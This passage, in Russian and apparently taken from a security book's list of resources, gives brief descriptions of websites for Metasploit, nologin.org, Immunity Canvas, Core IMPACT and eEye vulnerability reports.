www.metasploit.com. Домашняя страница проекта Metasploit.

www.nologin.org. На этом сайте много отличных технических статей о программе Meterpreter, входящей в Metasploit, удаленном внедрении библиотек и написании shell-кода для Windows.

www.immunitysec.com. Компания Immunity Security продает коммерче- ский инструмент Canvas для тестирования на возможность проникновения в сеть.

www.corest.com. Компания Core Security Technologies разрабатывает коммерческую программу Core IMPACT для тестирования на возможность проникновения в сеть.

www.eeye.com. Здесь вы найдете подробное описание уязвимостей

Microsoft Windows и отчеты об атаках на них.